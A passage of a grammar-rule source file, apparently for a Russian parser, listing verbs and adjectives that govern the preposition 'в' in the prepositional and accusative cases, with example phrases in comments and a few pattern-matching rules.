rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
